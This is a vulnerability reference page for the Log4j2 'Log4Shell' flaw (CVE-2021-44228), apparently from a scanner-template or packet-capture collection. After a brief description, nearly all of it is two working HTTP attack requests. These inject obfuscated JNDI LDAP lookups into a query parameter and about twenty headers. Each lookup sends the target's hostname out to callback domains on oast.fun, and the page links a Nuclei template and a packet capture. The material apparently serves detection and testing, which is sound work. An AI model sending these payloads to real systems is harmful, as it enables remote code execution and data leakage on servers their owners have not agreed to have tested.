CVE-2021-44228: Apache Log4j2 Remote Code Injection

🔍 Vulnerability Description

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

🌐 HTTP Request

GET /?x=${jndi:ldap://${:-218}${:-949}.${hostName}.uri.d5jo9k9le0o1j51t3t4gch757x9j44g56.oast.fun/a} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept-Encoding: gzip

GET / HTTP/1.1
Host: www.victim.com
User-Agent: ${jndi:ldap://${:-218}${:-949}.${hostName}.useragent.d5jo9k9le0o1j51t3t4g56t34kyx6731f.oast.fun}
Connection: close
Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-218}${:-949}.${hostName}.accept.d5jo9k9le0o1j51t3t4gbqyj7zdbk14bd.oast.fun}
Accept-Encoding: ${jndi:ldap://${:-218}${:-949}.${hostName}.acceptencoding.d5jo9k9le0o1j51t3t4gi5bcm6c1mjhfx.oast.fun}
Accept-Language: ${jndi:ldap://${:-218}${:-949}.${hostName}.acceptlanguage.d5jo9k9le0o1j51t3t4g6xny1kmgac3a5.oast.fun}
Access-Control-Request-Headers: ${jndi:ldap://${:-218}${:-949}.${hostName}.accesscontrolrequestheaders.d5jo9k9le0o1j51t3t4gdrst9sqq6mir3.oast.fun}
Access-Control-Request-Method: ${jndi:ldap://${:-218}${:-949}.${hostName}.accesscontrolrequestmethod.d5jo9k9le0o1j51t3t4gf7ww6kyqgryih.oast.fun}
Authentication: Bearer ${jndi:ldap://${:-218}${:-949}.${hostName}.authenticationbearer.d5jo9k9le0o1j51t3t4gjztfm7pkt6kws.oast.fun}
Cookie: ${jndi:ldap://${:-218}${:-949}.${hostName}.cookiename.d5jo9k9le0o1j51t3t4gh477xbmkuzo9k.oast.fun}=${jndi:ldap://${:-218}${:-949}.${hostName}.cookievalue.d5jo9k9le0o1j51t3t4gn5r6ouz1mgkot.oast.fun}
Location: ${jndi:ldap://${:-218}${:-949}.${hostName}.location.d5jo9k9le0o1j51t3t4geoguy1akqmz1j.oast.fun}
Origin: ${jndi:ldap://${:-218}${:-949}.${hostName}.origin.d5jo9k9le0o1j51t3t4g5yh9557ij8mbo.oast.fun}
Referer: ${jndi:ldap://${:-218}${:-949}.${hostName}.referer.d5jo9k9le0o1j51t3t4gz8egbmf4ooro4.oast.fun}
Upgrade-Insecure-Requests: ${jndi:ldap://${:-218}${:-949}.${hostName}.upgradeinsecurerequests.d5jo9k9le0o1j51t3t4gffem4xfpjxb9o.oast.fun}
X-Api-Version: ${jndi:ldap://${:-218}${:-949}.${hostName}.xapiversion.d5jo9k9le0o1j51t3t4gkmw8fqcbekek9.oast.fun}
X-CSRF-Token: ${jndi:ldap://${:-218}${:-949}.${hostName}.xcsrftoken.d5jo9k9le0o1j51t3t4guowph8ahaegyy.oast.fun}
X-Druid-Comment: ${jndi:ldap://${:-218}${:-949}.${hostName}.xdruidcomment.d5jo9k9le0o1j51t3t4gfjtq7r4zecnhz.oast.fun}
X-Forwarded-For: ${jndi:ldap://${:-218}${:-949}.${hostName}.xforwardedfor.d5jo9k9le0o1j51t3t4g4s6npwh5hsxp3.oast.fun}
X-Origin: ${jndi:ldap://${:-218}${:-949}.${hostName}.xorigin.d5jo9k9le0o1j51t3t4g4t39x1rqqs7ye.oast.fun}

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44228.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44228.pcap